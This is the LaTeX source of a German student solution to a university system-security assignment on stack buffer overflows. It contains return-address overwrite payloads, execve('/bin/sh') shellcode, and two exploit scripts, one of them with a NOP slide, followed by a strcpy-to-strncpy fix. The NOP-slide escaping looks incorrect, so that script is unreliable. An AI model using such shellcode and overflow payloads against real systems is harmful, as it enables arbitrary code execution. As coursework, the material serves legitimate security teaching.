\documentclass[11pt]{scrartcl}

\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[ngerman]{babel}
\usepackage{lmodern}
\usepackage{graphicx}
\usepackage{listings}
\usepackage{xspace}
\usepackage{amsmath}
\usepackage{algorithm}
\usepackage{algpseudocode}
\usepackage{xifthen}
\usepackage{xcolor}
\usepackage{pdfpages}
\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry}
\usepackage{amsmath,amssymb,amstext,amsthm}
\usepackage[shortlabels]{enumitem}
\usepackage[headsepline]{scrlayer-scrpage} 
\pagestyle{scrheadings} 
\usepackage{titling}
\usepackage{etoolbox}
\usepackage{tikz}
\usepackage{multirow}
\usepackage{tabularx}

\definecolor{keyword}{rgb}{0.0, 0.0, 1.0}
\definecolor{comment}{rgb}{0.5, 0.5, 0.5}
\definecolor{string}{rgb}{0.6, 0.1, 0.1}
\definecolor{background}{rgb}{0.95, 0.95, 0.95}

\lstset{
    language=bash,
    backgroundcolor=\color{background},
    basicstyle=\ttfamily\small,
    keywordstyle=\color{keyword}\bfseries,
    commentstyle=\color{comment}\itshape,
    stringstyle=\color{string},
    tabsize=2,
    showspaces=false,
    showstringspaces=false,
    frame=single,
    numbers=left,
    numberstyle=\tiny\color{gray},
    breaklines=true,
    captionpos=b,
    escapeinside={(*@}{@*)},
}

\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs}
\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc}
\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc}

\tikzset{% 
    initial text={},
    state/.style={circle, draw, minimum size=.6cm},
    every initial by arrow/.style={-stealth},
    every loop/.append style={-stealth},
    >=stealth
}

\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}}
\ihead{System Security, SoSe 24, Assignment \thesheetnr}

% Sheet number
\newcounter{sheetnr}
\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}}

% Exercise environments
\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{}
\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}

% Makros
% MACRO for whole diagram 
% #1: total width of diagram 
% #2: total height of diagram 
% #3: nodes, paths, ... 
\newcommand\protocolflow[3]{ 
\begin{center} 
\begin{tikzpicture}[x=#1cm,y=#2cm] 
#3 
\end{tikzpicture} 
\end{center} 
}
% MACRO for path line shortening 
% #1: start coordinate 
% #2: target coordinate 
% #3: text above arrow 
\newcommand{\package}[3]{ 
\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2); 
}

% Anpassen --> %
\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer}
\sheetnr{6}
% <-- Anpassen %
\begin{document}

\begin{exercise}[Smashing the Stack for Fun and Profit]{5}
\begin{subexercises}
\item Wenn das Programm mit dem Kommandozeilenargument \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht abgeändert.\\
\begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| }
    \hline
    Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\
    \hline
    &&?&?&?&? & ?&?&?&?\\
    \hline
    Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\
    \hline
    Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\
    \hline
    Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\
    \hline
    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
    \hline
    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
    \hline
    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
    \hline
    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
    \hline
    &&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\
    \hline
    Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\
    \hline
    Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\
    \hline
\end{tabular}
\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt.
    Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird.

\item \lstinline{strcpy(3p)} berücksichtigt nicht die maximale Länge des Zielspeichers.
    Die Funktion \lstinline{strncpy(3p} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
    \lstinline{strncpy(3p} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus.
    Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen.
\end{subexercises}
\end{exercise}

\begin{exercise}[Stack-Based Buffer Overflow]{6}
\begin{subexercises}
    \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird:\\
        \begin{lstlisting}[language=Bash]
#!/usr/bin/env sh

# 28 Byte Shellcode
SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
# Padding to fill:
# - 72 Bytes to fill buff
# - 8 Bytes to fill the local variables before buff
# - 4 Bytes to fill the saved ebp value
PADDING=$(printf "A%.0s" $(seq 1 84))
# Address of the start of the buff array / shellcode
RETADDR="\x1C\xDB\xFF\xFF"

printf $SHELLCODE$PADDING$RETADDR
        \end{lstlisting}
    \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell im Anschluss an eine NOP-Slide ausgeführt wird.:\\
        \begin{lstlisting}[language=Bash]
#!/usr/bin/env sh

# 28 Byte Shellcode
SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
# NOP-Slide to fill:
# - 72 Bytes to fill buff
# - 8 Bytes to fill the local variables before buff
# - 4 Bytes to fill the saved ebp value
PADDING=$(printf "\\\\0x90%.0s" $(seq 1 84))
# Address of the start of the buff array / shellcode
RETADDR="\x1C\xDB\xFF\xFF"

printf $PADDING$SHELLCODE$RETADDR
        \end{lstlisting}
\end{subexercises}
\end{exercise}
\end{document}
